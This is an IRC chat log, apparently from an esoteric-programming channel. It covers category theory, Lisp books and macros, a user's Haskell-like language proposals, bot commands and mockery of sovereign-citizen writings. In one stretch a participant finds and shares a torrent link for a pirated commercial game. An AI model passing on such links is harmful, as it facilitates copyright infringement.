00:00:33 <oerjan> in fact i recall that applies also to minimal systems
00:00:35 <tswett> Just try to write the compact metric Hausdorff space as a Haskell datatype, and it ought to work...
00:00:41 <tswett> ...what's a compact metric Hausdorff space?
00:01:22 <oklopol> compact = open covers have finite subcovers, metric = topology is given by a metric, hausdorff = any two points have open neighborhoods that don't intersect, space = space
00:02:00 <oklopol> these are some of the most important things in all mathematics afaik
00:02:08 <oerjan> tswett: actually metric implies hausdorff, that was redundant
00:02:17 <tswett> = final object in the category of frontiers?
00:02:29 <oklopol> yeah, take the distance between the points, and take two balls around them with half that distance as radius
00:02:54 <oerjan> tswett: also iirc you get a quotient from a continuous surjection if the spaces are compact hausdorff
00:03:14 <tswett> Come to think of it, final objects in a category are always unique up to unique isomorphism, aren't they? So given a category of frontiers, it must contain exactly one final frontier. So in order to have multiple spaces, you must have multiple categories of frontiers.
00:03:31 <oklopol> iirc they are unique trivialy
00:03:47 <oklopol> what the hell is a frontier
00:03:48 <tswett> Oh... right. Given two of them, there's exactly one morphism each way, isn't there.
00:03:50 <oerjan> (which S^1 and S^2 are)
00:04:04 <oklopol> tswett: yeah, so in fact it's an isomorphism
00:04:36 <tswett> A frontier is an object in the category whose final object is a space.
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00:05:16 <tswett> Well, if there two objects C and D in a category, the fact that there's exactly one arrow in each direction doesn't mean that the arrows are inverses of each other, does it?
00:05:37 <tswett> Who says you'll end up with the identity arrow?
00:05:43 <oklopol> there's just one such arrow
00:05:51 <oklopol> well right you need another application of finality
00:06:04 <tswett> ...Ah, right. Since it's a final object, it has only one endomorphism.
00:06:36 <tswett> So, um, epi-, mono-, and iso- correspond to epi, monic, and invertible. What do auto- and endo- correspond to, if anything?
00:07:03 <tswett> This is a question of linguistics, not mathematics.
00:07:08 <tswett> Of terminology, rather.
00:07:46 <oerjan> endo = (domain = codomain)
00:08:30 <oerjan> i.e. A -> A for some A
00:08:51 <oklopol> i getting the feeling that he didn't need a definition
00:09:01 <tswett> Definition endo {a : Cat} (c : Obj a) := Arrow c c
00:09:21 <oklopol> oerjan: he's asking something way more profound
00:10:00 <oklopol> where the Power of the Continuum will not help you.
00:10:04 <tswett> What's up with natural transformations?
00:10:12 <oklopol> yeah those things are tits
00:10:18 <oerjan> `? natural transformation
00:10:21 <HackEgo> natural transformation? ¯\(°_o)/¯
00:10:27 <HackEgo> Functors are just morphisms in the category of small categories
00:11:00 <tswett> If that's what a functor is, is a natural transformation anything?
00:11:11 <oklopol> i really need to go, let's do this again now that we have a third eager mathematician here
00:11:19 <oerjan> `learn Natural transformations are just morphisms in the category of functors
00:11:31 <tswett> oerjan: ...is that all?
00:11:42 <oklopol> tswett: that's not really saying anything
00:11:50 <oerjan> `run mv wisdom/natural wisdom/"natural transformation"
00:12:00 <oerjan> `? natural transformation
00:12:03 <HackEgo> Natural transformations are just morphisms in the category of functors
00:12:25 <tswett> I would expect a morphism in the category of functors to be, like, a pair of functors such that when the first one is composed on the left with the domain, you get the same thing as when the second one is composed on the right with the codomain.
00:12:33 <oklopol> tswett: that's only meaningfull if you already know what the morphisms in the category of functors are
00:12:33 <tswett> Or maybe vice versa... no, it doesn't matter.
00:12:55 <itidus21> `pastelogs [n]atural transformation
00:13:12 <oerjan> tswett: the functors are the domains and codomains of the natural transformations.
00:14:21 <itidus21> `pastelogs natural transformation
00:14:34 <HackEgo> http://codu.org/projects/hackbot/fshg/index.cgi/raw-file/tip/paste/paste.7952
00:17:13 <tswett> So, speaking of category theory.
00:17:23 <tswett> Friendship: do you know of any IRC channels devoted to the discussion of FIM?
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00:29:15 <oklopol> so i went outside and couldn't swallow anymore and started sweathing like a horse. i drew the conclusion that i'm not healthy yet.
00:30:49 <oerjan> a great victory for logic
00:32:11 <Friendship> (In other words, not really, but calamari and I hang out there)
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00:33:52 <oklopol> i can't live without swallowing o_O
00:34:04 -!- augur has joined.
00:34:24 <oklopol> i think i should get this thing checked out but i have no idea how you actually go to a hospital :D
00:34:45 <oklopol> perhaps i could just walk to a pharmacy and be all like hi my throat hurts, do i take my pants off now
00:35:17 <oklopol> they'd call the cops who would then take me to a mental institute and i could live there happily until i died of old happiness
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00:43:01 <elliott> hmm, the sitenotice has now been up for 9 days
00:43:15 <elliott> wonder whether i should take it down or let it run for two weeks in total
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00:58:13 <shachaf> elliott: You should add an additional nested picture of lime slices.
00:59:40 * Sgeo writes a CL macro that he likes
00:59:50 <Sgeo> Except for it breaking on being given 0 lists :/
01:00:01 <Sgeo> http://paste.lisp.org/display/128071
01:00:21 <Sgeo> And that progn makes me feel funny
01:01:06 <Sgeo> I mean, dolist has its own implied progn, why should I need to give another?
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01:02:38 <pikhq_> Yeah, today's Odinsday, yesterday was Tyrsday, tomorrow's Thorsday.
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01:14:01 <oerjan> > [case gcd x 15 of 1->show x;3->"Fizz";5->"Buzz";_->"FizzBuzz"|x<-[1..100]]
01:14:02 <lambdabot> ["1","2","Fizz","4","Buzz","Fizz","7","8","Fizz","Buzz","11","Fizz","13","1...
01:14:31 <oerjan> @@ @run length @show [case gcd x 15 of 1->show x;3->"Fizz";5->"Buzz";_->"FizzBuzz"|x<-[1..100]]
01:19:08 <Jafet> > zipWith id (cycle [show,show,const"Fizz",show,const"Buzz",const"Fizz",show,show,const"Fizz",const"Buzz",show,const"Fizz",show,show,const"FizzBuzz"]) [1..]
01:19:09 <lambdabot> ["1","2","Fizz","4","Buzz","Fizz","7","8","Fizz","Buzz","11","Fizz","13","1...
01:40:09 <kmc> Sgeo, so it's like a nested loop?
01:40:10 <lambdabot> kmc: You have 1 new message. '/msg lambdabot @messages' to read it.
01:40:42 <Friendship> http://www.justinvacula.com/2012/02/really-really-really-inoffensive.html
01:41:13 <Sgeo> I made a new version, hold on
01:41:22 <Sgeo> http://paste.lisp.org/display/128072
01:46:59 <Sgeo> Not... really, I think
01:49:32 <elliott> <Sgeo> I mean, dolist has its own implied progn, why should I need to give another?
01:49:37 <elliott> Because you're in if, not dolist?
01:50:46 <Sgeo> I don't need the progn for if, because the backquoted thing is one form.
01:50:51 <elliott> Sgeo: Anyway, you want to do the (if rest-lists ...) at macro-expand time, not at runtime.
01:51:17 <elliott> But what do you mean why do you need to give another?
01:52:12 <Sgeo> You're still looking at the first one? Because the progn ,@body expands inside a dolist, so the expansion has a redundant progn
01:52:36 <elliott> Not in the first one, it doesn't.
01:53:12 <elliott> Sgeo: That's just because you're using a ,
01:53:25 <elliott> Use ,@(if ... body) and it'd work fine.
01:53:44 <Sgeo> Oh, hah, good point.
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02:04:51 <elliott> oh, 1.19 must come out soon!
02:06:15 <elliott> looks like it'll be deployed to all wikipedias by 03:00 UTC
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02:11:13 <Sgeo> elliott, what do you think of Let Over Lambda?
02:12:25 <elliott> I would probably not recommend it.
02:13:07 <oerjan> it's a bit of a letdown?
02:13:19 <Sgeo> elliott, I looked at a few chapters
02:13:43 <Sgeo> But I do see why it's controversial
02:13:55 <elliott> I understand it needs serious proof-reading.
02:14:05 <elliott> And the author seems a bit of a crank, and annoying from what I've seen of him.
02:14:51 <elliott> All the good reviews I've heard of it seem to universally come from people I would not consider experienced enough to judge it, and everyone qualified I've heard speak of it hasn't done so in a positive light.
02:15:06 <elliott> Have you read PCL? On Lisp?
02:15:22 <Sgeo> Glanced at a bit of On Lisp, looked through PCL and should probably work through it
02:15:31 <Sgeo> I think I looked at PCL a long time ago too
02:15:51 <elliott> Let Over Lambda is meant to be a "sequel" to On Lisp, I gather. I also gather it's vastly inferior (though On Lisp has its problems too, I hear).
02:16:34 <Sgeo> When I mentioned On Lisp in #lisp , they said something about perhaps it being best to know PG's quirks first.
02:16:42 <Sgeo> Or something, I don't remember exactly what was said
02:16:56 <elliott> It would be best to know #lisp's quirks before asking them questions, too.
02:17:16 <elliott> Anyway, since you will never actually develop anything in the language, you will not be harmed by reading it.
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02:19:07 <elliott> Sorry, am I meant to pretend your weekly language obsessions will actually develop into using the language?
02:19:35 <Sgeo> Haskell was more than a weekly obsession, I think
02:19:39 <Sgeo> It went on for a few months
02:20:19 <elliott> Yes, and you wrote a total of 0 real programs in it, and abandoned it for other languages (2 so far).
02:21:06 <Sgeo> I wrote a program in Haskell that I didn't tell you about.
02:21:12 <Sgeo> (Didn't get used though)
02:21:27 <elliott> Okay, so if a few months = 1 program, 1 week = 0 programs.
02:22:50 <Sgeo> Anyways, I think I will use continue to use earmuffs, LOL's objections to the contrary untill I actually understand them
02:23:49 <elliott> Nonsense. Of course you should stop following common practice because a random book told you to.
02:25:06 <elliott> "First of all, I'm not convinced that unexpected collisions
02:25:06 <elliott> are unconditionally bad. The way I look at it, you always
02:25:06 <elliott> learn something when you encounter a collision and you
02:25:06 <elliott> never learn anything when you don't."
02:27:00 <kmc> i read On Lisp
02:27:03 <kmc> it was pretty good
02:27:37 <kmc> LoL must be a parody on some level
02:27:41 <kmc> the introduction is... amazing
02:29:34 <kmc> when i got into the actual code some of it was interesting
02:29:50 <kmc> but none of it was transcendentally mind-blowing like the author seems to think it is
02:30:07 <kmc> clearly i'm not a true hacker
02:30:17 <elliott> TOP 0.00000001TH PERCENTILE
02:30:39 <elliott> (N.B. Lisp redefines "percentile" with magic.)
02:30:45 <kmc> Lisp programmers are smarter [citation: other lisp programmers saying they are smarter]
02:30:55 <kmc> reading _On Lisp_ I got the impression that PG was using macros where they weren't really necessary
02:31:05 <kmc> but it's an interesting book
02:31:20 <kmc> today some people tried to tell me that Ruby and Javascript are "pretty good Lisps"
02:31:25 <kmc> and I was just like... "no"
02:31:46 <elliott> kmc: that kind of sentiment originated with http://www.randomhacks.net/articles/2005/12/03/why-ruby-is-an-acceptable-lisp
02:31:52 <kmc> it's hard to sustain that claim without entirely missing the point of Lisp
02:32:09 <elliott> (which is a lot more reasonable than just claiming languages like that are "pretty good lisps" without qualification)
02:32:21 <kmc> i liked yegge's response to that
02:32:22 <kmc> http://steve-yegge.blogspot.com/2006/04/lisp-is-not-acceptable-lisp.html
02:32:41 <kmc> this was the article that made me appreciate "data is code" as well as "code is data"
02:33:03 <kmc> wait, not this one
02:33:25 <elliott> I'm surprised by how rarely I disagree with Yegge
02:33:40 <elliott> for such a controversial figure he rarely says anything super-controversial
02:34:02 <kmc> this one https://sites.google.com/site/steveyegge2/the-emacs-problem
02:34:45 <elliott> the article that convinced me that lisp is awesome was http://www.defmacro.org/ramblings/lisp.html
02:36:49 <kmc> statements like "Ruby gives you about 80% of what you want from macros" are full of blub
02:37:05 <kmc> if you don't use Lisp you don't want enough from macros ;)
02:37:21 <elliott> to a lisp programmer every statement showing something other than lisp in a positive light is full of blub
02:38:01 <kmc> it's possible to be smug and correct at the same time ;)
02:38:17 <elliott> programming language blub is when you're unknowingly limited in your thought processes by your choice of choice of language. lisp programmers don't suffer from that, they suffer from managing to get anything done blub
02:38:22 <elliott> caused by their choice of arrogance :p
02:38:44 <kmc> i don't actually think Ruby and Javascript would be better with Lisp-like macros
02:38:51 <Sgeo> There are some advantages to languages that have common idioms, I think. Sure, you could do XYZ-style programming in Lisp, but the Lisp community at large probably doesn't
02:38:58 <kmc> but without them you can't really call them "Lisp"
02:39:12 <elliott> "The old Google Groups will be going away soon. Switch to the new Google Groups."
02:39:22 <elliott> awesome! finally, google groups is getting even worse to use
02:39:32 <zzo38> Or don't use Google Groups at all.
02:39:43 <elliott> thank you for your helpful advice.
02:42:42 <zzo38> It is why, I was trying to invent a new kind of idea of programming language, with similarity to Haskell, but also with macros and so on. I can tell you my ideas and then you can tell me what you dislike about each one individually
02:43:19 <zzo38> * Kinds of macros usable in nearly every step of the parsing/compiler, including Lisp-like macro, C-like macro, TH-like macro, etc
02:43:19 <elliott> tell kmc, he'd love to hear
02:44:24 <zzo38> * No do-notation, no layout, no list/monad comprehensions, no Unicode syntax
02:45:00 <zzo38> * You are allowed to have extra commas at the beginning and end of a list and they can be removed
02:45:28 <zzo38> * Even types can have lambdas
02:45:55 <zzo38> * No case/of, instead you can have lambda with multiple patterns if they have { } around it then it is allow multiple patterns
02:46:12 <zzo38> * No if/then/else expression, you can use a bool function instead
02:47:54 <elliott> <zzo38> * Even types can have lambdas
02:48:00 <elliott> This makes typechecking undecidable.
02:48:11 <zzo38> * A type synonym can have constraints corresponding to things similar to classes, but instead of class declaration each one can be: a tag, a class method, a type family, a mathematical law, and so on
02:48:11 <elliott> And inference basically impossible.
02:48:11 <Sgeo> "So newcomers heave a deep sigh, and they learn to accept LISP-2, names like rplaca, case-insensitivity, '(ALL CAPS OUTPUT), and all the other zillions of idiosyncracies of a standard Common Lisp implementation."
02:48:18 <Sgeo> Who uses rplaca directly???
02:48:31 <zzo38> elliott: No, type lambdas would have the same restriction as type synonyms do
02:50:26 <zzo38> * You can declare that one thing implies another thing, such as classes and so on; and even after a class method is defined you can make up other ways to define it if you assert that things are equivalent by declaring mathematical laws that are assumed to hold
02:51:43 <zzo38> * You can have private instances
02:52:24 <zzo38> Sgeo: I don't know???
02:54:47 <zzo38> * Bulit-in kinds * # + ? -> & @ and then there are kinds {x} where x is a type and the types of those kind are {y} where y is a value of that type; only thing you can do with them is move the value inside the type into a value level expression
02:55:24 <zzo38> * Datakinds with capitalized names, declared like datatypes but kinds and can be declared in GADT-like, too; using the "kind" keyword instead of "data" at front
02:56:31 <zzo38> * Meanings of types [] and (,,) and values [] and (,,) and so on are determined using macros, so you can redefine those macros if you need to instead of being stuck with the stuff built-in
02:58:20 <zzo38> * Values in {} types use names in scope; if you have something in local scope then those types are also local in scope and cannot be moved elsewhere
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03:00:45 <zzo38> * The kind * of ordinary types. The kind # of raw low-level types (which can be defined using LLVM codes). The kind + of type-level natural numbers, a subkind of * and that number is how many values (the type 0 has no values). The kind ? having * # + as subkinds. The kind & of constraints. The kind @ of program modules.
03:01:06 <elliott> Are you going to implement this?
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03:01:32 <zzo38> elliott: I don't know. I just write idea, and then you can complain about each idea specifically, or say in case you like it instead if that is instead.
03:01:48 <elliott> Okay. I like all of it; you should work on implementing it.
03:02:01 <zzo38> elliott: I am not finished yet!
03:03:01 <kmc> wait, yegge thinks that PG announcing Arc has had a serious influence on the direction Lisp communities have taken since then?
03:04:22 <elliott> kmc: i think fair depending on how you define lisp communities
03:04:28 <elliott> common lisp/scheme communities no
03:04:40 <elliott> but almost every lisp derivative of the past many years has talked about onions
03:04:48 <elliott> and adopted a lot of the "heretical" stuff
03:05:11 <zzo38> * There is not a requirement for a common package service (like Hackage); you can use decentralized multiple package sources which can tell the difference, possibly some local. A package identifier might be like "something-package/0.1 example.org Z/" where first is name, then optional version number, optional domain name or domain alias, and optional selector prefix.
03:05:14 <Sgeo> Hmm, which stuff?
03:05:15 <elliott> e.g. http://arcanesentiment.blogspot.com/2008/04/orthodox-otter.html
03:06:01 <zzo38> * Port numbers are optional and there is no default. Domain alias can be defined locally and always have a dollar sign at front. The special name $ for active package.
03:06:52 <elliott> kmc: you're clearly not well-read enough on your pg! ;)
03:07:00 <elliott> http://www.paulgraham.com/arcll1.html
03:07:08 <zzo38> * Some kind of thing like CLC-INTERCAL's "BELONGS TO" relation.
03:07:50 <elliott> christ, arc is as old as 2001
03:07:59 <elliott> what a bloody disappointment
03:08:04 <zzo38> * Some (but not all) of errors that would cause error messages if the program is interpreted, cause undefined behavior in compiled programs. (Probably the compiler could have options to override that)
03:08:38 <Sgeo> zzo38, undefined behavior means that idiots will write code that works on one implementation but not another.
03:09:10 <elliott> You think idiots have any hope in programming in a language designed by zzo38 successfully?
03:09:18 <zzo38> Sgeo: In that case, idiots should use the interpreter or use some other programming language.
03:09:35 <zzo38> (Since the interpreter is required to not have undefined behavior)
03:11:32 <elliott> Sgeo: What W:A torrent did I use way back?
03:12:03 <Sgeo> I don't remember
03:12:12 <Sgeo> If you find it, let me know, I haven't played W:A in a while
03:12:25 <zzo38> * The "main" can be of type (IO ()) or (unsafe "c_int (c_int, c_char**)") to make a executable file; if main has any other type you can still create .dll or .so files but not standalone executable files.
03:12:38 <Sgeo> Because my ISO is stuck on an HD that I haven't touched in a while
03:13:16 <elliott> I think I'll try to find another, better one -- you know, one whose installer is not in Russian.
03:13:31 <zzo38> There. Is that good? Now will you complain about it differently, so that I can know exactly how to correct it? Even draft is not completely yet so we should try to argue about it together at first
03:14:38 <Sgeo> elliott, link me when you do >.>
03:14:57 <elliott> zzo38: It's great. You should implement it.
03:15:26 <Sgeo> Is read the conventional way to grab data from input? Because it seems unsafe.
03:15:26 <zzo38> Some things though, I still don't know all the details, including some of the syntax and a few others
03:17:41 <elliott> I've found a torrent that looks good.
03:18:30 <zzo38> Since I still don't know how a lot of these things can fit in to the syntax and fit in to a few other things
03:19:04 <Sgeo> elliott, I guess the clones aren't good enough?
03:21:33 <elliott> Oh, this torrent's name actually ends with "{russian}".
03:21:40 <elliott> Ehh, so what, it's well-seeded.
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03:22:12 <Sgeo> What if it's the same torrent?
03:22:15 <zzo38> * There is no "Int" type; you can use Int8, Int16, Int32, Int64, Int128, or Integer. And for unsigned you can use Nat8 (instead of Word8 as in Haskell), Nat16, Nat32, Nat64, Nat128, or Natural. (I don't yet know how to work with floating numbers)
03:22:23 <elliott> This one has an .mdf rather than an .iso.
03:23:28 <elliott> Sgeo: http://torrentz.eu/3379412f2660f0bf56b2b6bf1799ac786e4916ca; you can uncheck the patches. Remember to copy in torrentz's tracker list.
03:24:02 <zzo38> * Some way parts of a program can be written to function in other categories rather than only (->) category; possibly some can work in more than one category.
03:24:34 <zzo38> * Possibly, a Maybe monad can be renamed to a successor monad
03:25:37 <zzo38> * It is like everything has deriving Typeable, but you still need to specify the constraint if you want to be able to use typeOf on it, if you have a polymorphic type
03:27:34 <zzo38> * You can add to any class in either direction, so that you add something new it is a superclass, or add other class methods or other way of defining those class methods; instead of being stuck to the way it was defined at first like Haskell does
03:29:00 <elliott> God dammit, I want a space elevator.
03:29:30 <zzo38> * If you define a mathematical law and an instance that does not follow those laws but is asserted it does anyways, then it is undefined behavior (even in interpreter); but this kind of undefined behavior will not crash the computer
03:30:59 <zzo38> elliott: Sorry, Astrolog cannot compute coordinates (or date/time) relative to Moon (there is such things as moon date/time but Astrolog cannot use it)
03:33:43 <zzo38> * The runtime system compiled into the executable can be recompiled specifically for your program, to omit what you don't need and make it much smaller and faster instead of as large as Haskell programs compiled this GHC; however, this is an implementation detail and is not part of the specification of programming language, it is the appendix to recomendation
03:43:31 <elliott> Sgeo: How goes your download?
03:43:55 <Sgeo> I didn't start downloading
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04:03:30 <elliott> Woot, conversion didn't work first time
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04:10:06 <Sgeo> `welcome Infinikiller64
04:10:12 <HackEgo> Infinikiller64: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: http://esolangs.org/wiki/Main_Page
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04:15:56 <elliott> aha, poweriso can convert it
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04:32:10 <elliott> Gah, not this error again.
04:32:53 -!- MDude has changed nick to MSleep.
04:33:59 <elliott> Well, this is frustrating.
04:34:11 <pikhq_> http://sourceware.org/git/?p=glibc.git;a=blob;f=libio/libioP.h;h=8b8ed9c390441879d3fc4b58c4cb2327f1c2927a;hb=HEAD THERE IS NO GOD
04:34:41 <Sgeo> http://example.com P IS NOT EQUAL TO NP
04:35:18 <pikhq_> Sgeo: glibc IO is C++ manually, naively ported to C.
04:35:30 <pikhq_> While retaining ABI compatibility.
04:35:35 <Sgeo> ...wait, what?
04:35:58 <pikhq_> So <iostream> can use glibc structures straight.
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04:37:15 <Sgeo> Infinikiller64, hmm
04:37:35 <Sgeo> Isn't there a BF CPU thing flying around somewhere?
04:38:01 <Sgeo> http://www.clifford.at/bfcpu/bfcpu.html
04:40:05 <elliott> http://esolangs.org/wiki/Brainfuck#Hardware_implementations
04:41:39 <Sgeo> Oh. But that wasn't clear that you meant "in Logisim" specifically, just thought the general idea of a BF CPU
04:44:30 <Sgeo> That reminds me, I've wanted to write.... something in Smallworlds to prove it TC
04:44:38 <Sgeo> Forgot exactly what I wanted to do.
04:44:44 <Sgeo> I need NAND and memory, right?
04:44:53 <Sgeo> How do I demo memory?
04:46:13 <Sgeo> So, no memory, so you
04:46:18 <Sgeo> you're not TC. Got it.
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05:02:20 <elliott_> [[nand`: oh, wait, ANSI is the physical layout]]
05:02:26 <elliott_> What a good quote! Thank you, HWN!
05:02:34 <pikhq_> 22:01 <@dalias> looks like we have working c++ support
05:02:38 <elliott_> @forget nand` oh, wait, ANSI is the physical layout
05:02:44 <lambdabot> No quotes match. And you call yourself a Rocket Scientist!
05:02:47 <lambdabot> xplat says: the underlying graph of a category is transitive. transitive graphs have no bridges. this is why trolls always have problems with category theory.
05:02:48 <lambdabot> xplat says: the underlying graph of a category is transitive. transitive graphs have no bridges. this is why trolls always have problems with category theory.
05:02:50 <lambdabot> No quotes match. Your mind just hasn't been the same since the electro-shock, has it?
05:02:54 <elliott_> hmm, looks like someone already did
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05:06:00 <lambdabot> help <command>. Ask for help for <command>. Try 'list' for all commands
05:06:20 <lambdabot> http://code.haskell.org/lambdabot/COMMANDS
05:06:54 -!- monqy has joined.
05:07:52 <lambdabot> SamB says: <SamB> @. bf . id . pl . v . wn yow <lambdabot> Done.
05:10:19 -!- augur has joined.
05:10:57 <oerjan> @. bf . id . pl . v . wn yow
05:11:37 <oerjan> ZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZZz
05:12:17 <Infinikiller64> im asleep right now acording to my mom, really im staying up to research brainfuck
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05:20:14 <Infinikiller64> @ping; if !(Return == "pong") {print("Error: Expected pong, got "Return)
05:20:58 <Infinikiller64> @ping; if !(Return == "pong") {print("Error: Expected pong, got "Return}
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05:27:10 <Infinikiller64> @ping because i dont want to be the last person to say something
05:32:54 <Infinikiller64> @ping because i dont want to be the last person to say something
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05:43:14 <coppro> new goal: turn depressive friend's self-doubt on itself, causing them to doubt their self-doubt.
05:48:39 <Jafet> Or good. But also god
05:49:55 <Sgeo> coppro, sounds a bit like one of my religious friend's statuses. "Believe your beliefs, and doubt your doubts."
05:50:00 <Sgeo> Which for obvious reasons makes me :/
06:07:27 <elliott_> "Please understand that this is not an actual embassy and we cannot provide assistance with visas, passports, travel questions, or immigration issues." -- http://en.wikipedia.org/wiki/Wikipedia:Local_Embassy
06:37:56 <Sgeo> elliott_, ka tswett update
06:40:16 <monqy> elliott, cat sweat update
06:40:20 <monqy> just thought you should know
06:44:11 <elliott_> Sgeo: i note you have forgot to include monqy recently
06:44:25 <Sgeo> I believe monqy does not wish to be included.
06:44:48 <monqy> cat sweat does not interest me in the slightest
06:44:52 <Sgeo> I keep trying Ngevd and getting Nisstyr-e, so I have to delete it
06:45:09 <elliott_> i don't recall monqy saying that
06:45:31 <Sgeo> monqy, do you wish to be included in my update list?
06:45:41 <Sgeo> During those times that I get around to it
06:45:54 <monqy> on the condition I get to complain about it
06:46:01 <monqy> you can't take that from me
06:46:51 <Sgeo> Should I assume that complaints are not, in fact, requests to be taken off the list?
06:47:06 <Sgeo> I feel like I'm getting into Prime Intellect contract territory here.
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06:57:56 <kmc> QUANTUM-LANGUAGE-PARSE-SYNTAX-GRAMMAR is the Correct Language, as it is based on fact. There is no ambiguity with anything Quantum, it is purely Mathematical. Have you ever thought of Language being Mathematical?
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07:00:01 <Sgeo> http://davidwynnmiller.com/ this guy?
07:00:18 <elliott_> "IF YOU LEARN HOW TO SYNTAX YOUR CONTRACTS YOU WILL LEARN SELF SECURITY. PROTECT YOURSELF FROM BEING HARVESTED". By Judge: David-Wynn: Miller, 23rd June 2010
07:01:13 <elliott_> [[Eight years later in 1982 David appeared in court self represented for custody of his children. He lost 67 times, exasperated he said to the Judge “If I say white, you say black. If I say black, you say white. I can’t ever win!” the Judge replied “That is correct David, you can’t win in this court” David retorted “So this is all about Language and how it is interpreted” With a wry smile the Judge replies “That is right David,
07:01:13 <elliott_> has there ever been a war over a mathematical problem?” As the Judge stood to leave the room David responds “So if I could prove that Language had a mathematical interface, I would win?” the Judge turns around, faces David and says “You’re a smart man David, you’ll figure it out” and leaves.]]
07:01:19 <Sgeo> http://www.greetmewithcriesofhate.com/2011/01/who-is-jared-lee-loughner-part-three.html?zx=c800baf78aef8d4b
07:01:52 * Sgeo has no idea what this is
07:02:08 <elliott_> [[I have had the pleasure of touring with David in Australia, after a seminar, I asked him how he knows all the answers to the questions the audience ask, his reply was “It is as if a screen comes down in front of me with the answers. Let me explain, interesting things have happened to me over the last 35 years, for example no matter where I travel in the world this strange phenomenon occurs, I introduce myself as David, people shake my hand l
07:02:08 <elliott_> ook me straight in the eye and say pleased to meet you Steven, not every person I meet does this of course, however the amount of times this occurs is phenomenal” he shrugs his shoulders smiles and says “maybe it is Steven facilitating the seminars, maybe that’s how I know all the answers.”]]
07:03:00 <elliott_> http://www.youtube.com/watch?v=4VoXNhe7Z8A "i punctuate my name because it makes me a fact and not an adjective pronoun fiction"
07:03:53 <Sgeo> He actually speaks coherently?
07:03:58 * Sgeo is somewhat in shock
07:04:08 <elliott_> ~6 FOR THE NAME: "UNITED-STATES", IN A COURT-ROOM-DOCUMENT IS WITH THE NAME-MEANING-CLAIM OF THE TWO-OR-MORE-CONTRACT-STATES-(NO-CITIZEN-STATE-PERSON)CONTRACVT-STATES-CORPORATION-VESSEL(C.-S.-C.-V.) AS THE TWO OR MORE-PERSONS WITHIN A CONTRACT-CLOSURE BY A CLOSED-PAPER-COURT-AREA. [HAS NOTHING TO DO WITH THE 50-USA-STATES]FOR ALL FOREIGN-COURTS OF A FOREIGN-GLOBAL-AREA WITH THE 7.2-BILLION-FOREIGN-PARSE-SYNTAX-PEOPLE ARE WITH THE CLAIM AS THE SI
07:04:08 <elliott_> NGLE-VESSELS IN A DRYDOCK-BUILDING WITH A CONTRACT AS THE "BILLS OF THE LAIDING" WITH THE LOCAL-PORT-AUTHORITIES C.-S.-S.-C.-P.-S.-L. OF THAT AREA OR WITH THE FRUD & MISLEDING-STATEMENTS OF THE TITLE-~15: CONTRACT-STATES-CLAIMS SECTION-~1692-~e AND: TITLE-~18: U.-S.-C.-S.-~1001 OF THE FICTIONAL-LANGUAGE-CRIME BY AN AILING-PERSON POSING AS A FIDUCIARY.
07:08:03 <Sgeo> ....incorrect sentence structure lets criminals go free
07:08:11 * Sgeo is listening inattentiatively to the video
07:08:36 <pikhq_> Waascx geasfargle parse.
07:12:48 <Sgeo> There are more of these people!
07:12:53 <Sgeo> (In the video)
07:14:47 <Sgeo> "It's not some wild-eyed idea someone came up with overnight"
07:15:41 <pikhq_> It seems precisely like it is a wild-eyed idea someone came up with overnight.
07:18:12 <pikhq_> elliott_: What is wrong with people, and this person specifically?
07:18:34 <pikhq_> This is like, uh. (zzo38+crazy)!
07:18:47 <pikhq_> (zzo38 plus crazy, factorial)
07:19:18 <elliott_> pikhq_: It's called mental illness.
07:19:38 <pikhq_> WHY ARE THERE MULTIPLES
07:19:52 <pikhq_> Why does he have followers
07:25:40 <zzo38> How can you factorial that?
07:27:58 <pikhq_> zzo38: I don't know, but I know the outcome.
07:28:39 <pikhq_> And that is JUDGE :David-Wynn: Miller
07:28:54 <Sgeo> :JUDGE: David-Wynn Miller
07:29:25 <Sgeo> pikhq_, the video has it punctuated differently from the website
07:32:08 <elliott_> It seems to be punctuated differently all the time.
07:32:15 <elliott_> Presumably it enhances factuality.
07:32:33 <quintopia> zzo38: (zzo38+crazy)*(zzo38+crazy-1)*(zzo38+crazy-2)*...*3*2*1
07:33:52 <Jafet> Use the crazy continuation of Γ()
07:33:59 <Sgeo> *1*1*1*1*1*1*1
07:34:55 <ion> Huh. This font adds a weird serif to gamma.
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07:43:01 <fizzie> Sgeo: Aces High, I think.
07:43:20 <fizzie> It's told about the Iron Maiden guy, so I think it refers to their song with that name.
07:43:32 <Sgeo> Thought it referred to cards
07:43:45 <Sgeo> Whether to treat Aces as above Kings or below Twos
07:44:40 <fizzie> Yes, well, I think "aces high" works equally well for card.
07:45:28 <fizzie> "Ei siis hai" is approximately "so, not a shark".
07:45:29 <ion> Shark: hai
07:45:54 <elliott_> fizzie: google says "so does a shark" and i like that one better
07:46:05 <fizzie> You may, but it's not the right.
07:46:30 <fizzie> It's not the only joke. There's also "airo on meidän".
07:47:00 <fizzie> See: http://www.apeteam.com/?sivu=KoutsisCornerShow&koutsiID=50
07:47:11 <fizzie> I'm sure it translates well.
07:49:27 <fizzie> Pretty much all of them are just "ei siis [a word that starts with 'hai']".
07:49:55 <fizzie> Calling them jokes is perhaps a bit of an exaggeration.
07:54:06 <olsner> google translate had trouble with kalastusaikein
07:54:43 <fizzie> "With plans to go fishing" in that context, more or less.
07:55:15 <olsner> he came to the beach fishing-plans-having?
07:55:31 <fizzie> Or maybe more "intending to go fishing".
07:56:02 <fizzie> I just didn't recall the word "intent" in time.
07:56:45 <fizzie> monqy: Best jokes ever this time.
07:57:07 <fizzie> There's a proverb about the prodigal shark, isn't there?
07:57:40 <fizzie> Or maybe it's one of those... parabolas instead.
07:58:29 <fizzie> "No results found for "parabola of the prodigal shark"."
07:58:59 <olsner> they should spell it with aces high on that page
08:02:09 <olsner> Iron Maiden söner hittades i fisk. o.O I might as well learn finnish instead of using translate
08:02:10 <Sgeo> David-Wynn Miller apparently came back from the dead.
08:02:42 <Sgeo> http://davidwynnmiller.com/about.html
08:02:49 <fizzie> "Iron Maiden's sons found in fish."
08:02:52 <Sgeo> I'm only noticing that page now :/
08:03:11 <elliott_> It's possible to get free HTTPS certificates that don't cause annoying bleepy warnings in browsers nowadays, right?
08:03:22 <elliott_> For when you just want the encr[yyyy]pti^on of a sh:ark:.
08:03:26 <olsner> fizzie: they found *a* fish, I hope?
08:03:32 <Sgeo> Ooh, there's a fixed date
08:03:42 <Sgeo> 6th April 2012
08:03:43 <elliott_> Just in the abstract concept of fish.
08:03:51 <olsner> elliott_: I find you in fish
